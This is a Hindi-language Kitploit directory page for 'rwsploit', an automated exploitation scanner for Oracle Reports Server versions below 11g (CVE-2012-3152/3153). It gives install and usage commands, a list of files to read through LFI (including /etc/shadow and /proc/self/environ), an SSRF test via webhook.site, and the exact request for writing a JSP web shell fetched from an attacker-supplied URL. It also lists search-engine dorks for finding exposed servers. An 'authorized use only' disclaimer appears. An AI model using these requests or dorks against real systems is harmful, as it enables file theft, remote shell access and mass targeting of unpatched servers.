Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
rwsploit — Oracle Reports Server (rwservlet) के लिए स्वचालित शोषण स्कैनर — CVE-2012-3152 / CVE-2012-3153. पहचान करता है, फ़िंगरप्रिंट करता है, LFI के माध्यम से फ़ाइलें पढ़ता है, webhook के माध्यम से SSRF का परीक्षण करता है, और JSP शेल अपलोड करता है। Oracle Reports < 11g को लक्षित करता है। केवल अधिकृत उपयोग के लिए। | Kitploit
उपकरण/GitHubGitHub/abq0/rwsploit
टोहीभेद्यता स्कैनरपेलोड जनरेशनशोषणशेलकोडवेब एप्लिकेशन शोषणजानकारी एकत्र करनापेनिट्रेशन टेस्टिंगरेड टीमिंग
GitHubabq0/rwsploit

rwsploit

रिपॉजिटरी देखें
6114 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →

विवरण

Oracle Reports Server (rwservlet) के लिए स्वचालित शोषण स्कैनर — CVE-2012-3152 / CVE-2012-3153. पहचान करता है, फ़िंगरप्रिंट करता है, LFI के माध्यम से फ़ाइलें पढ़ता है, webhook के माध्यम से SSRF का परीक्षण करता है, और JSP शेल अपलोड करता है। Oracle Reports < 11g को लक्षित करता है। केवल अधिकृत उपयोग के लिए।

साझा करें

Oracle Reports rwservlet स्कैनर

⚠️ केवल अधिकृत उपयोग के लिए। इस टूल को केवल उन सिस्टमों पर चलाएँ जिनके स्वामी आप हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है। अनधिकृत उपयोग अवैध है।

Oracle Reports Server (rwservlet) के लिए एक केंद्रित शोषण स्कैनर जो CVE-2012-3152 और CVE-2012-3153 को लक्षित करता है — जो 11g से नीचे के संस्करणों को प्रभावित करता है। यह एकल IP, CIDR रेंज, या टारगेट सूचियों में पहचान, LFI फ़ाइल रीड, SSRF परीक्षण, और JSP शेल अपलोड को स्वचालित करता है। स्मार्ट TCP/HTTP प्री-फ़िल्टरिंग मृत होस्ट्स को तुरंत छोड़ देती है ताकि समय बर्बाद न हो।


स्थापना

git clone https://github.com/abq0/rwsploit.git
cd rwsploit
pip install requests

Python 3.8+ आवश्यक है। कोई अन्य निर्भरता नहीं।


उपयोग

python3 rwsploit.py -t <IP|CIDR> [options]
python3 rwsploit.py -f <file>   [options]

बिना किसी तर्क के चलाएँ ताकि पूरा हेल्प मेनू और रिकॉन डॉर्क्स देख सकें।


विकल्प

फ़्लैगविवरणडिफ़ॉल्ट
-tटारगेट IP, होस्टनाम, या CIDR। कई मान स्वीकार्य हैं।—
-fवह फ़ाइल जिसमें प्रति पंक्ति एक IP या CIDR हो। # = टिप्पणी।—
-pएकल कस्टम पोर्ट — डिफ़ॉल्ट पोर्ट सूची को ओवरराइड करता है।80 443 8080 7777 7778 7779 8443 9090
-Tसमवर्ती थ्रेड्स।15
-oLFI डंप को इस प्रीफ़िक्स के साथ डिस्क पर सहेजें। जैसे -o loot → loot_<ip>_<port>_<file>.txtकेवल stdout
--timeoutसेकंड में अनुरोध टाइमआउट।10
--lfiLFI फ़ाइल-रीड पेलोड चलाएँ। पहले OS का पता लगाया जाता है ताकि केवल प्रासंगिक पेलोड चलें।बंद
--no-ssrfSSRF वेबहुक परीक्षण छोड़ें।बंद
--shellJSP शेल अपलोड करें। आपके शेल कंटेंट की सेवा करने वाले URL के लिए संकेत देता है।बंद
-hहेल्प और रिकॉन डॉर्क्स दिखाएँ।—

उदाहरण

# Detect only
python3 rwsploit.py -t 10.10.10.55 -p 7777

# Detect + LFI
python3 rwsploit.py -t 10.10.10.55 -p 7777 --lfi

# Full chain — LFI + SSRF + shell
python3 rwsploit.py -t 10.10.10.55 -p 7777 --lfi --shell

# Subnet scan, save dumps
python3 rwsploit.py -t 10.10.10.0/24 -p 7777 --lfi -o loot

# From file, no SSRF
python3 rwsploit.py -f targets.txt --lfi --no-ssrf

targets.txt प्रारूप

# comment — skipped
10.10.10.55
10.10.11.0/24

विशेषताएँ

LFI

पहले showenv के ज़रिए OS का पता लगाकर विश्व-पठनीय फ़ाइलें पढ़ता है, फिर केवल मेल खाने वाला पेलोड सेट चलाता है।

Linux — /etc/passwd, /etc/shadow, /etc/hosts, /etc/issue, /etc/os-release, /etc/group, /etc/crontab, /etc/timezone, /proc/version, /proc/cmdline, /proc/self/environ

Windows — win.ini, system32\drivers\etc\hosts, boot.ini, system.ini, AUTOEXEC.BAT

🚨 कोई LFI आउटपुट न मिलने का मतलब यह नहीं कि टारगेट सुरक्षित है — Oracle का कॉन्फ़िगरेशन और फ़ाइल अनुमतियाँ अलग-अलग होती हैं। हमेशा SSRF और शेल अपलोड का स्वतंत्र रूप से परीक्षण करें।

SSRF

rwservlet?JOBTYPE=rwurl&URLPARAMETER=<webhook> भेजता है और कॉलबैक के लिए webhook.site API को पोल करता है। हिट होने पर स्रोत IP, मेथड और User-Agent प्रिंट करता है। स्टार्टअप पर स्वचालित रूप से एक नया वेबहुक टोकन बनाया जाता है।

शेल अपलोड (--shell)

  1. आपके JSP शेल कंटेंट की सेवा करने वाले URL के लिए संकेत देता है
  2. वास्तविक वेबरूट पथ पाने के लिए showenv से PATH_TRANSLATED पढ़ता है
  3. एक यादृच्छिक शेल नाम उत्पन्न करता है (जैसे kxqbrmfa.jsp)
  4. इसे इस प्रकार लिखता है: rwservlet?report=xyzzy&destype=file&desname=<webroot\shell.jsp>&JOBTYPE=rwurl&URLPARAMETER=<your URL>
  5. शेल URL को HTTP 200 के लिए जाँचकर सत्यापित करता है और लाइव लिंक प्रिंट करता है

रिकॉन डॉर्क्स — Oracle Reports < v11

Google

inurl:"/reports/rwservlet" -site:oracle.com
inurl:"/reports/rwservlet/showenv"
inurl:"/reports/rwservlet/getserverinfo"
intitle:"Oracle Reports Server - Authenticate" inurl:rwservlet

Shodan

http.html:"rwservlet"
http.html:"/reports/rwservlet" http.html:"Oracle"
http.html:"rwservlet/showenv"
http.html:"getserverinfo" http.html:"Oracle Reports"

FOFA

body="/reports/rwservlet"
body="rwservlet" && body="Oracle Reports"
body="/reports/rwservlet/showenv"
body="getserverinfo" && body="rwservlet"

Censys

services.http.response.body: "/reports/rwservlet"
services.http.response.body: "rwservlet" and services.http.response.body: "Oracle Reports"
services.http.response.body: "rwservlet/showenv"
services.http.response.html_title: "Oracle Reports"

CVEs

CVEविवरण
CVE-2012-3152rwservlet report पैरामीटर के माध्यम से बिना प्रमाणीकरण के फ़ाइल पठन
CVE-2012-3153JOBTYPE=rwurl + URLPARAMETER के माध्यम से SSRF और फ़ाइल लेखन

Oracle Reports Server 6i, 9i, 10g को प्रभावित करता है — 11g में ठीक किया गया।


कानूनी

केवल अधिकृत पेनेट्रेशन टेस्टिंग, CTF चुनौतियों और सुरक्षा अनुसंधान के लिए। लेखक दुरुपयोग के लिए कोई ज़िम्मेदारी नहीं लेता है।

टूल डाउनलोड करें